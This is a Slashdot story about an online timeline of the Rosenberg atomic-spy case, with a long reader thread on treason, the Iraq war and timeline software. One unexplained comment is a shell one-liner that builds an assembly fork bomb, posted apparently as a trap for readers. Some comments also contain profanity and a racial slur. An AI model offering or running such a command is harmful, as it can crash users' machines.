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Timeglider Software Outlines Rosenberg Spy Case
An anonymous reader writes "Related to the previous story on Slashdot on the release of the Vassiliev Notebooks: the Cold War project has created a timeline on the Rosenberg spy ring (using Timeglider — a web-based, Flash-powered software for creating timelines), integrating the documentation from the Venona Intercepts, the FBI files related to industrial and atomic espionage, the Rosenberg trial papers and the Vassiliev notebooks in a easy-to-digest, complete picture of the evidence on the Rosenberg's involvement in atomic espionage. It can be accessed via the project's webpage. The use of Timeglider makes understanding the complex nature of the case and the newly available documentation more manageable."
It was a queer, sultry summer, the summer they electrocuted the Rosenbergs, and I didn't know what I was doing in New York.
Treason is to act against your own countrymen in the service of another country. But is that really what it boils down to when you prevent more deaths through dissemination of state secrets? Is it really an offense worthy of death to act according to your own morality?
Meh. What the Rosenbergs did - giving atomic secrets to a hostile tyranny is treason. I'm no fan of the death penalty, but it's definitely a serious crime. And I'm sure if the sort of people the Rosenbergs had favoured had ended up running the country there would have been a lot more people executed under treason charges who were just 'acting under their own morality', treason being a popular though spurious charge in Stalinist show trials.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
(using Timeglider â" a web-based, flash powered, software for creating timelines) ... The use of Timeglider makes understanding the complex nature of the case, and the newly available documentation more manageable."
Yes we get the picture
So is George Bush a traitor?
Perhaps not, but by many metrics, he is a war criminal. More Iraqis have died since the beginning of the Iraqi war than under Saddam's reign. For the things that GW has done to the American constitution ... (And, I am not a USA citizen! If I was, I would be doubly pissed!)
5 years ago this would have still been relegated to a kiosk in a learning center somewhere... but a little investigation into how to write javascript could have made this lighter, more usable, and less frustrating. Unless they were going for a "technology of the times" feel...
I have a plan. Using mainly spoons, we'll tunnel our way out of the city...
Doesn't seem to work very well. Maybe I'm doing it wrong, but it didn't do anything to enhance my experience or make the information easier to digest. If anything, it made it more confusing and less informative.
... and then they built the supercollider.
More Iraqis have died since the beginning of the Iraqi war than under Saddam's reign.
Er, documentation? And since you're no doubt including all fatalities, including those inflicted by enemy forces, be sure to include the deaths from Saddam's futile war against Iran.
Consider the following far-more-useful timeline presentations...
http://newstimeline.googlelabs.com/ ...The shame of it all is that Timeglider fails to beat the above three technologies, and NONE of them use Flash.
http://simile.mit.edu/timeline/examples/religions/religions.html
http://www.timerime.com/
What is treason? Depends on where you are. I hope you are not a US citizen because you should not have to ask. The definition of treason is clearly spelled out in the US Constitution: Treason against the United States, shall consist only in levying War against them, or in adhering to their Enemies, giving them Aid and Comfort
But is that really what it boils down to when you prevent more deaths through dissemination of state secrets?
I think you should look up 'dissemination'; it has a much more innoccuous meaning than giving nuclear weapons teachnology to a hostile foreign dictatorship.
Let me help you. What he meant was, that more people had died in the war which ensued following the US invasion of Iraq than had died in peacetime under Saddam's regime. He's right.
If you believe Amnesty International's figures, there were fewer than 200 hangings in Iraq per year before the invasion (some might say that's enough), and even as his regime responded to uprisings, they killed fewer Iraqis than were killed as a direct result of the US invasion.
The difference is that when Saddam's regime killed people to put down the uprising, the US called it a massacre. When the US killed thousands of Iraqis during and since the invasion to suppress opposition, it is described as a necessary but tragic consequence of ridding Iraq of a dictator.
I am not an admirer of Saddam or his yobbish sons, but the story is not as clear cut as you would like to believe.
You're seriously equating protesting Gulf War 2 with giving the nuclear bomb to an enemy country? What drugs are you on?
He's the Bad Analogy Guy. Even then, the analogy you read is too bad even for him. He was equating initiating the second Gulf War with spreading nuclear secrets. His point is that the war itself caused harm to the USA, not the protests.
Other than the oil. The war got the taps going again, and they now provide about 2.5% of the world's consumption, though that could rise as high as 10%.
Perhaps you do not assign any value to that, but the free market sure does. The cost of energy redounds in the cost of everything else, which means that our (everyone's) net quality of life is a function of it.
This is especially relevant becuase the demand curve for oil is highly inelastic. Do you know what that means re: amount supplied? A 2% increase in supply is a very big deal when the demand curve is nearly flat.
FATMOUSE + YOU = FATMOUSE
Ok you lost me there. Arming Joseph Stalin with WMD is "preventing" deaths?
Oh, right - I'm responding to a well-known troll account. Sorry, I usually pick up on this sort of thing. My bad.
Shutting down free speech with violence isn't fighting fascism. It IS fascism!
Wikipedia is your friend. They have a whole article about casualties of the American invasion and occupation, and some good stuff about the Iran-Iraq war, too, though it's not as well-documented for obvious reasons.
It looks like GP is correct - Bush's war has probably killed more Iraqis than Saddam's did.
Treason is to act against your own countrymen in the service of another country. But is that really what it boils down to when you prevent more deaths through dissemination of state secrets? Is it really an offense worthy of death to act according to your own morality?
Ignoring the trolling bits that follow and applying your questions to the Rosenberg's case, I'd say that they are still responsible for future deaths that may not have occurred yet. If a rogue state uses a Russian warhead that was developed in part from information stolen by the Rosenbergs, I would think they're at least partly responsible since they were on the critical path of the device's design.
And you can't say that "Russia would have developed The Bomb anyway" because that didn't happen, and we don't know if it would have. We only know what did happen, and that is the Rosenberg's information was vital to the Soviet bomb making effort.
There is also no evidence to suggest that by "sharing" the bomb with the Soviet Union that any deaths were prevented. The United States never killed again with an atomic bomb, and you can't say that's due to the USSR maintaining warhead parity. You might argue that the U.S. would have risen to become the single world-dominating order without an opponent to keep them in check, but it seems that was able to happen (briefly) even with the USSR having nuclear capabilities.
Finally, as for it being a capital crime, I think it should have been life in prison instead. I personally think death is the easier punishment. A long, healthy life in prison with no chance of parole would be worse (it keeps you away from the 72 virgins for that much longer.)
John
True, especially when said Flash-based version fails to load any of the data with Swfdec on my Fedora 11 Linux box while the JavaScript version is light and responsive and probably a hell of a lot more accessible to boot.
I am a teacher (former geek) and I have struggling to find good timelining software for use by both me and my students...my needs are:
A. Must be free
B. Easy to add events
C. Exportable to a file
D. Multiple user support would be nice
Simile Timeline looks nice but is certainly not easy, and probably requires more skill to implement than I am capable of. Plus, I don't have a server to run it on. Timeglider are Timerime look fine as easy to use software, but are ultimately commercial services and I suspect will ultimatly cause problems. Anyone have any suggestions? Non-web based freeware is also fine, but it needs to be free so I can have students use it as well. That would also pretty much mandate Windows as well. An suggestions would be dandy. Thanks!
You don't even understand what treason is. Riddle me this, what other country would Aaron Burr have been serving were he convicted in his treason trial?
In case you didn't notice, nobody's going after the NY Times for disseminating state secrets. The only conviction lately seems to have been Scooter Libby's perjury conviction even though it was not Libby but Armitage that first blabbed about Plame.
Burr was in part acquitted because there were no two witnesses available to document his treason in court. We have a very high standard in this country against treason prosecutions (with good reason on the basis of past bad practice in England). You're going down a road that, while perfectly legal, is profoundly unamerican.
The Iraq war, if the present Iraqi republic does not devolve into a tyranny, will have destroyed Israel's claim to be the only Mid East democracy. It already has generated more productive political evolution in Saudi Arabia than 5 previous decades of US constructive engagement, and it has created a profoundly dangerous religious situation for Iran's ugly mullahs who have, in Sistani, an opponent who fundamentally thinks them heretics and who is quietly taking their theological regime apart from the inside.
Was our invasion of Iraq a bad war? Possibly. It does tend to look a bit better if you have a reasonably informed view of the benefits we are currently reaping and which I hope the current administration does not throw away.
If you trust Wikipedia on controversial political matters, you're naive beyond belief. But just for fun, the Saddam launched Iran-Iraq war killed 1.3 million (using high estimates and adding both sides casualties just like the high counts do to the US in this conflict). That's twice the unbelievably high and already discredited Lancet figures. So believe Lancet or not but apples to apples please.
"Oh, right - I'm responding to a well-known troll account."
Nah, BadAnalogyGuy is parody.
And did you exchange a walk on part in the war for a lead role in a cage? - Pink Floyd.
Without the Korean war, there might not even be a DPRK so some poor korean kid starving to death today can be laid on the Rosenberg's doorstep.
The post war Saudi Arabia adjustments on liberty and modernization provoked by the Iraq war (the Kingdom's answer to the question "if the Iraqis can vote, why can't we") likely also preserves the KSA fields under a geopolitically reasonable regime. We've paid the piper already and are just starting to reap the benefits, if we don't sabotage the current success in a snit (like Congress' refusal to give air support and fund S. Vietnam's munitions needs in 1974-5).
And ours are documented - not some MOSSAD provided "baby incubator"-type monster-propaganda, disseminated to dehumanize an enemy of Israel.
BAGHDAD, Aug. 7 -- A U.S. soldier charged with the rape and murder of a teenage Iraqi girl and the deaths of three of her relatives described to army investigators how he and his comrades hatched the plot during a morning of drinking whiskey, playing cards and hitting golf balls, an Army investigator testified Monday.
Spec. James P. Barker, 23, made the graphic admission in an interview and sworn statement, Special Agent Benjamin Bierce said at a hearing in Baghdad to determine whether the soldiers should face a military trial.
http://www.washingtonpost.com/wp-dyn/content/article/2006/08/07/AR2006080700780.html
"Speaking the Truth in times of universal deceit is a revolutionary act." -- George Orwell
Is it really an offense worthy of death to act according to your own morality?
We are a democracy. We make our decisions collectively and/or have duly elected representatives subject to periodic elections make the decisions. What makes you think your or Rosenberg's morality in matters of public policy is greater than the wisdom of the democracy? Rosenburg had no right to endanger the ENTIRE population of the country by giving atomic secrets to Stalin. No one man has a right to substitute his opinion for that of an election of the people. Rosenberg wasn't engaged in civil disobedience by waving a sign in the park, he enabled a ruthless genocidal dictatorship (Stalin) with the power to destroy the country in a nuclear holocaust.
This is really, really fucking easy. In fact, it's so easy, I'm amazed I even have these conversations, because the facts are so obvious.
Does the American government care if people are denied freedom under fundamentalist interpretations of muslim law? If they did, why did they support the Taleban before 9/11? Why do they continue to support Saudi Arabia? Why aren't they lobbying for human rights in muslim countries in Africa?
Does the American government care if a leader is massacring his own people? If they did, they wouldn't have given Saddam the biochemical agents to gas the Kurds, or given Suharto in Indonesia the arms he needed to kill East Timorese, or stood by while the Rwanda descended into hell in and genocide.
So what is all this bullshit about freedom and liberty? A nice way to sell the lie to the American people that deploying the military is helping someone besides our paranoid military planners and the corporations who are rewarded with tens of billions of dollars when we are at war, and with hundreds of billions of dollars every year in "defense" spending.
What is the truth? The truth is that the Pentagon supports whatever country is doing as they are told. When they lose control, they send in the CIA to foment a coup, or in cases where they can propagandize the public enough, they send in the troops. This is the definition of tyranny, and America has been living it for 60 years.
You want statistics? Add up how many Americans have been killed by foreigners on US soil. Add up how many foreigners have been killed by Americans on their soil. I don't even have to do the math, and unless you are Sean Hannity, you already know what the result is going to be.
And unfortunately, even comparing the embargo before 2003 to the casualties during the war and after will reveal that we did far more damage than Saddam.
The picture in Iraq is not rosy. It will take them decades to get back to where they were in 2002. Watch the video below. Eight minutes in she says, "Everything you see that looks like water is not. It is sewage... According to the GAO, the children who are age 15 and younger are less literate than their parents... over 25% of primary school age children do not attend school."
http://video.google.com/videoplay?docid=5519287956645135226
s/country/world/g
There is a moral difference between the US killing 5000 civilians who get caught up in the crossfire between US troops and Iraqi insurgents and Saddam killing 50 people because they were "enemies of the state." The "anti-war" movement blurs the distinction between unfortunate facts of war and murder. Plenty of innocent French, Italians and Belgians died as the allies pushed the Germans out of their countries, but there is an extreme difference between those casualties and willfully inflicted murders.
I didn't support the war in Iraq as a matter of principle. I don't believe it's worth American lives, treasure or liberty to get involved in these matters unless either we're going to end up in the aggressors' crosshairs at some point, or the country serves a strategic interest that we cannot ignore. Very, very few conflicts have ever fit those descriptions.
Dude - this was 60 years ago! How long are you going to hold the Rosenbergs responsible for some hypothetical future nuke? In perpetuity?!
Making a nuke is not all that hard, and of course the Russians could have done it without help in far less than 60 years' time.
Can't I? Just watch me! The US has always has a military doctrine which includes the first-use of nukes, and specific plans for nuking enemy states were made but never put into action. Maybe without a nuclear-armed counter-balance those plans would still have remained just plans, but it's just as speculative as the speculation about the Rosenberg's saving lives.
Meh. What the Rosenbergs did - giving atomic secrets to a hostile tyranny is treason. I'm no fan of the death penalty, but it's definitely a serious crime.
Ironically, the Soviets having nukes when they did might have prevented a US invasion of mainland China or the use of nukes on North Korea and China in the 1950's during the escalation of the Korean War.
My guess such an invasion and protracted war would have been economically disastrous for the US leading the Soviets to simply to win by default once they made nukes later on.
It is a big "what if" and the Rosenberg's never really had that idea in mind, but it is something to ponder if history had been different.
"I am the king of the Romans, and am superior to rules of grammar!"
-Sigismund, Holy Roman Emperor (1368-1437)
Your question is absurd.
If I understand your first point, the superficial one is "if your action demonstratably saves more lives than it cost, is it really wrong?"
As far as the Iraq war, you seem so certain. I'd ask: in what scope? According to varied estimates, there are something like 500,000-1 million Iraqis that probably would have wished Saddam was ousted earlier. This grossly overshadows the (high) estimate of 100,000 Iraqi civilians slain as a result of the current war plus the (trivial, in a military sense) number military deaths.
Of course, the point you're making is about the Rosenbergs. How did them selling secrets to the Soviets "save lives"? One could argue that having the bomb, and feeling secure against any serious military opposition allowed Stalin and subsequent Soviet leaders to embark on their later actions without fear. One could thus logically lay ALL the deaths of the Cold War - all the internal Soviet purges (no real American analogue there, for you moral relativists, sorry) and all the brushfire proxy wars - at the feet of the Rosenbergs. So how many lives did their actions "save" again?
Your second is stated more clearly: "Is it really an offense worthy of death to act according to your own morality?"
I'm staggered by the naivete and simplistic egoism that would fuel this question. More accurately, one might ask what sort of a society one would create if everyone (not just you, remember) were allowed to act according to their own morality? Remember, not everyone has your set of life rules: there's the Austrian guy who imprisoned his own daughter for what, 30 years? meanwhile impregnating her several times. Can he act according to HIS morality? Is that fine? What about the fellow who feels its perfectly justifiable to take the goods of others, because he NEEDS them more to support a really strong drug addiction?
There are LOTS of moral compasses out there, and despite how simple it might look to some, it doesn't take a lot of life experience to see that they don't all point toward the same "north". To suggest that people should just be able to follow their own morality is tantamount to a Hobbesian state of nature "red in tooth and claw" where the strongest get to do what they want simply because they are the strongest or most brutal.
To explain it simply, a society is a collective of people who generally agree on a set of behavioral norms. If you violate those norms, you're subject to the punishment of the society as a whole. American society - a vocal minority aside - has settled on the idea that the worst offenders shall be killed. Like it or not. Fortunately, in modern western culture, one of the norms is that you can say "I don't agree with this set of values" and LEAVE, seeking something better.
The irony (in my view) is that most of the people in the US who complain about how they don't like this or that, tend not to understand that comparatively, they're going to have a hard time finding another society that has the combination of physical conveniences, economic opportunities, and political freedoms, so they end up just staying here and filling the internet with pointless whinging.
-Styopa
In the U.S., treason is narrowly defined as "levying war against [the U.S.], or in adhering to their enemies, giving them aid and comfort." The Rosenbergs did not make war against the U.S., and no state of war existed between the U.S. and the U.S.S.R., so we were not enemies. We were rivals in a geopolitical game including nuclear brinksmanship and other brutal and stupid behavior on both sides, yes, but not enemies. (Indeed, at the time the Rosenbergs started their activities, we were allies with the U.S.S.R. against the Nazis.)
As for the Vassiliev notebooks -- they're crap:
So Vassiliev did what crank authors due when presented with criticism: brought suit under the U.K.'s libel laws.
Tom Swiss | the infamous tms | my blog
You cannot wash away blood with blood
Well, let's put it this way - Saddam killed less people when he was America's enemy, then when he was America's darling - coincidence?
Lars T.
To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
Hang on there - why are you now adding Iranian casualties? We are talking about Iraqi casualties here. Most (by far) of the losses in the Iran-Iraq war were on the Iranian side.
Don't worry, as soon as the US attacks Iran, he will count all of them as the victims of Iranian violence.
Lars T.
To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
Which means absolutely nothing, just like the ludicrous notion that somehow the war to topple the Hussein regime was somehow about stopping him from killing Iraqis. It wasn't. It was about stopping him from killing any Iraqi he wanted to because he could, because he held power via terror.
The difference, in case you really are as naive as you act rather than just having an advanced case of BDS, is that the people living in Iraq post-Saddam don't have to fear becoming a victim of Saddam any more.
The people of Iraq are now free. That a great many died in the process is unfortunate but that's sometimes what it takes to liberate entire societies from the Arab Socialist Ba'ath Party, the National Socialist German Worker's Party or the Union of Soviet Socialist Republics.
"...history will look upon the act of depriving a whole nation of arms, as the blackest." --Ghandi
How was the Second Iraq War/Operation Iraqi Freedom, a bad thing?
Do the Iraqi people now have a freely elected government? Yep. Is Saddam and his sons in power? Nope.
Explain how it was a "almost wholly bad war"?
No, the Soviets having nukes was not why the US didn't invade China or nuke the DPRK and/or China in 1950.
The US didn't do those things because the civilian leadership of the US didn't want to get into a massive war with China and some of the military leadership did, so the failure to invade/nuke is due to reigning in MacArthur and not because the Soviets had a handful of fission bombs
They weren't worried about a Nuclear Exchange, they were worried about a conventional one, of massive Chinese infantry.
Of course no one here on Slash dot will ever concede the US never had any territorial ambitions in China, but that, in fact, is the case. After just completing world war 2 and a huge cost no one wanted the Korean war, not even the Military.
Sig Battery depleted. Reverting to safe mode.
In the U.S., treason is narrowly defined as "levying war against [the U.S.], or in adhering to their enemies, giving them aid and comfort." The Rosenbergs did not make war against the U.S., and no state of war existed between the U.S. and the U.S.S.R., so we were not enemies.
While we're quoting the constitution, please quote the part that defines "enemy".
Oh.
Gosh, I guess that means it's up to the courts to interpret...
By the way, you do realize that your whole point is invalid because the Rosenbergs were not charged with treason, right? They were sentenced for espionage, not treason. And by the way, they took oaths not to reveal secrets and were aware that any illegal revelations carried the potential of the death penalty.
Advice: on VPS providers
Hundreds of thousands of Iraqis are dead, possibly approaching a million depending on how you count the bodies and who you consider a casualty ; a coalition of hostile FOREIGNERS have effective control of the country ; much of the country's infrastructure is in a worse state than it was before GW2 (Gulf War 2 ; perhaps GWB for it's main proponent and "Gulf War B") ; and those fucking foreigners are STILL here, treating Iraqi citizens like sand niggers and raping the natural resources of the country for their own use. Transpose those elements to your own society (as if I couldn't guess which one you live in), and see how you'd feel about the invaders.
That is an arguable point. It would be at best optimistic to describe the current Iraqi government as "untroubled", or as "wholly accepted". The country is still likely to split into several, and some of the fucking foreigners would find that highly convenient.
"Are", not "Is" - but yes, you've found the point that puts the "almost" into the next phrase.
You have put your finger on pretty much the only point that makes it an "almost wholly bad war" instead of a "wholly bad war". Well done. Welcome to "International Relations 1.0.1".
Oh, you were looking from your own society's perspective? Oh, well, in that case, GW2 (GWB) still isn't a wholly good thing. You've probably generated several generations of people who'll be willing (and, of course, able) to attack and kill you, and your children, and your children's children ; you've had significant casualties yourself (so has my country too, but of course none of my friends have been injured because I treat militaristic thugs with the contempt they deserve) ; you may, or may not, have successfully gained access to significant natural resources belonging to other people (this is as-yet undecided ; there's nothing to prevent the oil fields from being nationalised back to their owners) ; you've had a cathartic exercise on beating up someone because of 2001/11/9, even though it was a country unrelated to those events.
What other benefits have you gained? Oh yes, triumph and acclaim. As they don't say in Germany any more, "Seig heil!"
Birds are not dinosaur descendants;birds are dinosaurs, for all useful meanings of "birds", "are" and "dinosaurs"
There is also no evidence to suggest that by "sharing" the bomb with the Soviet Union that any deaths were prevented. The United States never killed again with an atomic bomb, and you can't say that's due to the USSR maintaining warhead parity. You might argue that the U.S. would have risen to become the single world-dominating order without an opponent to keep them in check, but it seems that was able to happen (briefly) even with the USSR having nuclear capabilities.
The American Hawks have urged for a nuclear attack on the USSR numerous times, and the only obvious reason why that hasn't happened was the USSR also had nukes. Next you are going to tell us that the A-bombs on Japan were needed to win the war and not a demonstration of power to the USSR.
Lars T.
To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
No more so than it's up to the courts to interpret any other word. In the context "levying war against..or in adhering to their enemies", it means a group at war with the U.S. Full stop.
Would you care to look upthread and see how the topic of treason came into the discussion? Thanks.
Julius might have signed some such nonsense when in the Army, but when did Ethel Rosenberg ever take such an oath? Please provide a citation or retract this claim.
There is no evidence that Ethel Rosenberg engaged in espionage. Greenglass long ago recanted his testimony.
Tom Swiss | the infamous tms | my blog
You cannot wash away blood with blood